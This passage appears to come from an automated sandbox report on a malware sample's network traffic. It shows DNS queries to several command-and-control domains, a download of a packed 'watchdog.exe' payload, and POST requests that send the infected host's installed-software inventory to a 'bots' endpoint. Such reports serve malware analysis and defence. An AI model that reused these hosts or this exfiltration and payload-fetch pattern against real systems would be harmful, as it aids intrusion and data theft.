Nov 29, 2021 06:00:56.407113075 CET	53	51539	8.8.8.8	192.168.2.3
Nov 29, 2021 06:01:22.527034998 CET	50585	53	192.168.2.3	8.8.8.8
Nov 29, 2021 06:01:22.550120115 CET	53	50585	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 29, 2021 05:59:59.526639938 CET	192.168.2.3	8.8.8.8	0xc533	Standard query (0)	trumops.com	16	IN (0x0001)
Nov 29, 2021 05:59:59.575104952 CET	192.168.2.3	8.8.8.8	0x6f66	Standard query (0)	logs.trumops.com	16	IN (0x0001)
Nov 29, 2021 05:59:59.602211952 CET	192.168.2.3	8.8.8.8	0xfd27	Standard query (0)	fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1.uuid.trumops.com	16	IN (0x0001)
Nov 29, 2021 05:59:59.678355932 CET	192.168.2.3	8.8.8.8	0xd385	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 29, 2021 05:59:59.837330103 CET	192.168.2.3	8.8.8.8	0x4ac3	Standard query (0)	server1.trumops.com	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:08.188282013 CET	192.168.2.3	8.8.8.8	0xab7e	Standard query (0)	server1.trumops.com	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:08.328380108 CET	192.168.2.3	8.8.8.8	0xa783	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:21.406676054 CET	192.168.2.3	8.8.8.8	0x280b	Standard query (0)	server1.trumops.com	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:49.803299904 CET	192.168.2.3	8.8.8.8	0x8401	Standard query (0)	gohnot.com	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:52.702888966 CET	192.168.2.3	8.8.8.8	0x1666	Standard query (0)	e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com	16	IN (0x0001)
Nov 29, 2021 06:00:56.384454966 CET	192.168.2.3	8.8.8.8	0xd7b6	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 29, 2021 06:01:22.527034998 CET	192.168.2.3	8.8.8.8	0x33a	Standard query (0)	server1.trumops.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Nov 29, 2021 05:59:59.548491955 CET	8.8.8.8	192.168.2.3	0xc533	No error (0)	trumops.com			TXT (Text strings)	IN (0x0001)
Nov 29, 2021 05:59:59.595195055 CET	8.8.8.8	192.168.2.3	0x6f66	No error (0)	logs.trumops.com			TXT (Text strings)	IN (0x0001)
Nov 29, 2021 05:59:59.625401974 CET	8.8.8.8	192.168.2.3	0xfd27	Name error (3)	fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1.uuid.trumops.com	none	none	16	IN (0x0001)
Nov 29, 2021 05:59:59.701003075 CET	8.8.8.8	192.168.2.3	0xd385	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 29, 2021 05:59:59.701003075 CET	8.8.8.8	192.168.2.3	0xd385	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 29, 2021 05:59:59.859847069 CET	8.8.8.8	192.168.2.3	0x4ac3	No error (0)	server1.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 29, 2021 05:59:59.859847069 CET	8.8.8.8	192.168.2.3	0x4ac3	No error (0)	server1.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:08.211117029 CET	8.8.8.8	192.168.2.3	0xab7e	No error (0)	server1.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:08.211117029 CET	8.8.8.8	192.168.2.3	0xab7e	No error (0)	server1.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:08.349940062 CET	8.8.8.8	192.168.2.3	0xa783	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:08.349940062 CET	8.8.8.8	192.168.2.3	0xa783	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:21.427361965 CET	8.8.8.8	192.168.2.3	0x280b	No error (0)	server1.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:21.427361965 CET	8.8.8.8	192.168.2.3	0x280b	No error (0)	server1.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:49.823759079 CET	8.8.8.8	192.168.2.3	0x8401	No error (0)	gohnot.com		104.21.92.165	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:49.823759079 CET	8.8.8.8	192.168.2.3	0x8401	No error (0)	gohnot.com		172.67.196.11	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:52.723258018 CET	8.8.8.8	192.168.2.3	0x1666	No error (0)	e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com			TXT (Text strings)	IN (0x0001)
Nov 29, 2021 06:00:56.407113075 CET	8.8.8.8	192.168.2.3	0xd7b6	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 29, 2021 06:00:56.407113075 CET	8.8.8.8	192.168.2.3	0xd7b6	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 29, 2021 06:01:22.550120115 CET	8.8.8.8	192.168.2.3	0x33a	No error (0)	server1.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 29, 2021 06:01:22.550120115 CET	8.8.8.8	192.168.2.3	0x33a	No error (0)	server1.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

runmodes.com

server1.trumops.com

gohnot.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49709	172.67.207.136	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49710	172.67.139.144	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49711	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49712	104.21.34.203	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49717	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49748	172.67.207.136	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49791	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49731	104.21.92.165	80	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
Nov 29, 2021 06:00:49.879864931 CET	6074	OUT	GET /f007e85833f8db4f7f7d8560f2ed01cc/watchdog.exe HTTP/1.1 Host: gohnot.com User-Agent: Go-http-client/1.1 Uuid: fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1 Version: 183 Accept-Encoding: gzip
Nov 29, 2021 06:00:49.907896996 CET	6076	IN	HTTP/1.1 200 OK Date: Mon, 29 Nov 2021 05:00:49 GMT Content-Type: application/octet-stream Content-Length: 2102272 Connection: keep-alive content-disposition: attachment; filename=watchdog.exe etag: "616ea494-201400" last-modified: Tue, 19 Oct 2021 10:57:24 GMT Cache-Control: max-age=3600 CF-Cache-Status: HIT Age: 47 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BSzNILWUDM5MRBw4Axu0c5pmTtg4zvyd0Q4XjCeD0bIk9ACZYxkU6V0FeSqmp7XaANyZw9H4epZoBAi4KP7syqTHaG7Yupsuy5p2Yu5EfDMrGgYWS580ldSsn3c7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 6b59464bcf3d05c4-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 00 00 00 00 b4 4b 00 00 00 00 00 e0 00 03 03 0b 01 03 00 00 10 20 00 00 10 00 00 00 70 2d 00 00 8d 4d 00 00 80 2d 00 00 90 4d 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 4d 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 90 4d 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 70 2d 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 10 20 00 00 80 2d 00 00 10 20 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 90 4d 00 00 02 00 00 00 12 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 33 2e Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELK p-M-M@MMUPX0p-UPX1 - @UPX2M @3.
Nov 29, 2021 06:00:49.907927990 CET	6077	IN	Data Raw: 39 35 00 55 50 58 21 0d 09 08 09 59 97 50 98 0e ef ba a0 1e 64 4d 00 e9 0c 20 00 00 b6 4b 00 26 27 00 ab ff ff ff ff ff 20 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 38 4c 67 64 4e 77 31 30 4f 4d 6e 6a 6e 45 61 66 ff ff 6f ff 6f 75 6f 62 2f 46 5f Data Ascii: 95UPX!YPdM K&' Go build ID: "8LgdNw10OMnjnEafoouob/F_u>d7bw5LzGyMt067q/f_4En-IIykrT4Xu-NukD/RUnzYHIbGfj1LuaRla" d;av 'D$$`k&fdnlL$hmg$4
Nov 29, 2021 06:00:49.907951117 CET	6078	IN	Data Raw: 84 1b b4 07 0c a9 08 71 3f 90 7d de 6c e4 a9 20 1b f8 1b 21 df ad c0 e2 ca 88 15 bb fa 01 45 e5 1b 02 8f 10 2c 27 e6 95 4d 43 db 5d 39 d9 18 20 bb 9c 8b e2 a9 2b 74 90 61 97 52 a9 04 39 28 20 64 b1 3b 7a f8 08 aa b4 f3 57 8d 3d 35 39 8a ee 6b 79 Data Ascii: q?}l !E,'MC]9 +taR9( d;zW=59ky,.@yi-(8HXh:xI.>!$2erxHj!pTq60#.?WD8kmNq_VN]SY?.7@
Nov 29, 2021 06:00:49.907974958 CET	6080	IN	Data Raw: a0 57 c9 0f 2e c1 75 06 0f 8b 86 02 97 f6 1f 1a 2e c0 75 02 7b 5b 6a 05 80 dd 13 76 df 41 40 18 8b 88 90 11 90 94 e4 90 17 89 fb ff 5f f5 cb c1 e1 11 e4 89 d3 31 ca c1 e9 07 31 d1 89 da c1 eb 10 31 cb 89 98 45 c1 ff 37 b8 8d 04 1a 4d 31 c8 35 a9 Data Ascii: W.u.u{[jvA@_111E7M15ivEbxVsAuF&(fQ2f<c'9({'~7-E!2r5X*>- tgIfY^I t)1wxMeY!(@QN
Nov 29, 2021 06:00:49.907999992 CET	6081	IN	Data Raw: 6d 1a 60 3e 6c 8d 1f c2 2d 70 2a 0b 02 8a ac 64 ab 33 3e 1e 66 67 70 a0 8b 4f f0 72 e4 ad 40 7f 5e 23 01 7e 30 b8 97 20 ed 79 ef 40 76 23 0e 4c 30 87 d1 47 e6 13 60 7f 40 ae 1c 83 c0 ac b0 02 66 2a 0a f0 14 b9 e8 a8 44 9d e5 54 2b 82 8a 6f d7 95 Data Ascii: m`>l-pd3>fgpOr@^#~0 y@v#L0G`@fDT+o0BqGt4;=&:%HId,fQlba0RlLp)-pKhxp$BA9M49L{^pA,}b?1DI'\8"?v>ehxAxv
Nov 29, 2021 06:00:49.908024073 CET	6082	IN	Data Raw: a6 e9 13 ae 78 fc a1 40 44 e8 09 83 c3 0c a4 52 fd 8b 7b fd 4b e0 1b fa 17 77 2d 8b 3f b4 01 fd 39 fa 76 1d fc ff 1f e8 f0 28 ce 29 fd 29 fa 39 e9 76 09 46 29 e9 39 c6 7c cd eb a8 8c 8b 83 1f 37 d7 eb df 0c 38 18 20 05 ff bd 19 c7 4c 60 30 7c 34 Data Ascii: x@DR{Kw-?9v())9vF)9\|78 L`0\|4<$lCuL$)80@&)4D<-z80.btQL_a%I=z?[H,y@c$70i?Y(6-pTY8Y7>lEzP89Pf{u
Nov 29, 2021 06:00:49.908051968 CET	6084	IN	Data Raw: c2 00 d5 20 13 62 24 46 f8 05 01 bc ee ff be 02 23 d8 df f8 20 89 5c 24 04 14 32 32 c1 df 20 10 b0 92 b2 62 be 19 02 2b 23 0c 80 06 19 f1 32 f5 0b 5c 31 49 14 1c f5 af cf 6e 81 84 46 10 bb df eb 11 90 70 16 17 2c 60 26 51 58 90 01 59 ef 11 1e 4d Data Ascii: b$F# \$22 b+#2\1InFp,`&QXYM9Q!uSP`GCJ#i`DF@'O[EJBBJKP07pl!A#?A(#:tx^G\2Dp%B*X3GZH
Nov 29, 2021 06:00:49.908077955 CET	6085	IN	Data Raw: 3c 2e 32 3d 97 74 28 31 ff 97 ff 0b de 14 72 0e d8 8d 45 01 68 77 74 29 c1 89 ca f7 d9 c1 f9 06 d2 3b f8 1f 21 c8 01 f0 30 34 9e 38 97 57 c0 41 4e f1 a0 22 34 60 20 58 01 03 f3 5c 21 bc 6a 7f 6c 05 46 c6 7c 24 10 16 1c 60 2a 87 14 e1 11 08 b5 bd Data Ascii: <.2=t(1rEhwt);!048WAN"4` X\!jlF\|$`$)ZYq!+E\|4tE_q_/]Kj hB9sG4V8?(ArZw ArkZ GX+\P ;A\F1$",V3<hXX
Nov 29, 2021 06:00:49.908102989 CET	6087	IN	Data Raw: e0 01 94 16 a3 a0 5a 89 c2 ad a4 5e d1 9b 3d ea eb f1 89 f8 e3 d3 88 07 9c 0d b9 08 4f 27 4d 5e 87 2a 8d ac df 93 07 9f ff f7 00 bc 78 f0 7c 3e 5f 1c 8b 48 08 81 f9 6d 54 1a 6c ff 88 ae b3 3e e9 72 f9 8c 02 25 79 16 29 02 f1 57 36 af fb 7f a2 2e Data Ascii: Z^=O'M^x\|>_HmTl>r%y)W6.=j+E9'O"ku\VR>IJbVm>p kt=FB3hy?(hFSx;?Y\|%Ux$: \GWx?PrO#Ig
Nov 29, 2021 06:00:49.908128977 CET	6088	IN	Data Raw: 47 b3 47 6f 5b e2 b7 b5 d6 76 c5 0f 2c 10 00 3b 14 02 bd 49 38 46 1d 47 54 75 45 89 47 a3 23 f3 af fa 3c 8e 03 f0 fc 8d 74 24 34 19 f0 d6 54 42 68 3d 44 1e 5c 7c 31 06 dc d4 64 89 4c 55 85 b0 02 32 32 3e 85 db d9 48 45 b4 ff 74 83 c4 5c c3 8d 4f Data Ascii: GGo[v,;I8FGTuEG#<t$4TBh=D\\|1dLU22>HEt\O8f06pWdhwjlptF[/C +U(KLmq'0'tp(#'I07E\|(,3Wl/LT_AJGgR_K@~d$
Nov 29, 2021 06:00:49.908154011 CET	6089	IN	Data Raw: 5a 12 ed 09 e8 12 77 d4 d8 44 7d 57 25 46 89 dc 2d fb 1f 03 1f 70 80 25 44 0f b6 12 f6 c2 01 1e 81 7b 9c 52 3f 8f 75 09 99 8c 48 19 7e ec 66 2b f3 44 01 08 8b 57 02 9b 01 9c 9d 85 8c 71 90 49 d8 e3 06 db c3 71 01 07 84 c2 26 c0 84 f0 89 d1 1b 0f Data Ascii: ZwD}W%F-p%D{R?uH~f+DWqIq&PciQi8pD3J02,\aHDJ# p_ DT.P<?8tfXg,\wg9t1i1OCTC5=2]
Nov 29, 2021 06:01:21.344691992 CET	9095	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49709	172.67.207.136	443	C:\Windows\rss\csrss.exe

Timestamp	Direction	Data
2021-11-29 04:59:59 UTC	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 144 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-29 04:59:59 UTC	OUT	Data Raw: 5a 79 75 79 47 46 6d 7a 64 34 45 66 49 74 4f 4d 38 39 32 48 76 76 38 47 30 69 32 61 54 35 39 79 47 78 4c 63 33 74 67 71 76 62 63 75 70 74 53 72 73 36 66 57 4c 61 36 4c 73 56 50 75 78 44 43 64 30 31 79 53 72 53 2b 75 55 4b 70 2f 36 38 5a 4f 42 77 76 36 6e 75 4f 71 6b 76 49 66 37 50 33 76 66 54 62 64 6f 77 35 46 6e 78 69 42 64 78 7a 49 71 56 4c 51 6c 7a 63 6a 45 35 57 34 47 77 6e 51 42 49 41 2b 2f 4b 6f 44 5a 2f 2f 4b 75 56 2b 7a Data Ascii: ZyuyGFmzd4EfItOM892Hvv8G0i2aT59yGxLc3tgqvbcuptSrs6fWLa6LsVPuxDCd01ySrS+uUKp/68ZOBwv6nuOqkvIf7P3vfTbdow5FnxiBdxzIqVLQlzcjE5W4GwnQBIA+/KoDZ//KuV+z
2021-11-29 04:59:59 UTC	IN	HTTP/1.1 200 OK Date: Mon, 29 Nov 2021 04:59:59 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zzEgyqHv8UqqELVRQZvM5Gh3X3tUVLLyJDQb8YtocC4TFKzm0cubNDGNmEQERjgR6YLpnz6tr7ugr46EwCrKCA3%2BpLlrDGEIswwUsC007uSgZIKjh27Ffo8c%2Bi%2BN4Zg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b594512bcf069a3-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49710	172.67.139.144	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-29 04:59:59 UTC	0	OUT	POST /bots/post-ia-data?uuid=fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1 HTTP/1.1 Host: server1.trumops.com User-Agent: Go-http-client/1.1 Content-Length: 18950 Content-Type: application/json; charset=UTF-8 Accept-Encoding: gzip
2021-11-29 04:59:59 UTC	1	OUT	Data Raw: 5b 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 36 34 35 38 36 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 20 50 6c 75 73 20 32 30 31 36 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 36 2e 30 2e 34 32 36 36 2e 31 30 30 31 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 32 30 32 30 30 37 32 33 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a Data Ascii: [{"display_name":"Update for Microsoft Office 2016 (KB4464586) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Microsoft Office Professional Plus 2016","display_version":"16.0.4266.1001","install_date":"20200723"},{"display_name":
2021-11-29 04:59:59 UTC	2	OUT	Data Raw: 20 4f 66 66 69 63 65 20 4f 53 4d 20 4d 55 49 20 28 45 6e 67 6c 69 73 68 29 20 32 30 31 36 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 36 2e 30 2e 34 32 36 36 2e 31 30 30 31 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 32 30 32 30 30 37 32 33 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 36 34 35 33 38 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 32 30 31 32 20 Data Ascii: Office OSM MUI (English) 2016","display_version":"16.0.4266.1001","install_date":"20200723"},{"display_name":"Update for Microsoft Office 2016 (KB4464538) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Microsoft Visual C++ 2012
2021-11-29 04:59:59 UTC	4	OUT	Data Raw: 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 50 75 62 6c 69 73 68 65 72 20 32 30 31 36 20 28 4b 42 34 30 31 31 30 39 37 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 49 45 34 44 61 74 61 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 53 6b 79 Data Ascii: sion":"","install_date":""},{"display_name":"Security Update for Microsoft Publisher 2016 (KB4011097) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"IE4Data","display_version":"","install_date":""},{"display_name":"Update for Sky
2021-11-29 04:59:59 UTC	4	OUT	Data Raw: 6c 6c 5f 64 61 74 65 22 3a 22 32 30 32 30 30 39 33 30 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 36 32 31 31 39 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 32 39 32 30 36 37 38 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 Data Ascii: ll_date":"20200930"},{"display_name":"Update for Microsoft Office 2016 (KB4462119) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB2920678) 32-Bit Edition","display_version":"","install_date":""
2021-11-29 04:59:59 UTC	8	OUT	Data Raw: 34 35 33 38 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 33 31 31 35 32 37 36 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 32 30 31 33 20 78 38 36 20 4d 69 6e 69 6d 75 6d 20 52 75 6e 74 69 6d 65 20 2d 20 31 32 2e 30 2e 32 31 30 30 35 Data Ascii: 4538) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB3115276) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005
2021-11-29 04:59:59 UTC	12	OUT	Data Raw: 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 33 31 39 31 39 32 39 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 46 6f 6e 74 63 6f 72 65 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 49 45 35 42 41 4b 45 58 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 Data Ascii: :""},{"display_name":"Update for Microsoft Office 2016 (KB3191929) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Fontcore","display_version":"","install_date":""},{"display_name":"IE5BAKEX","display_version":"","install_date":""
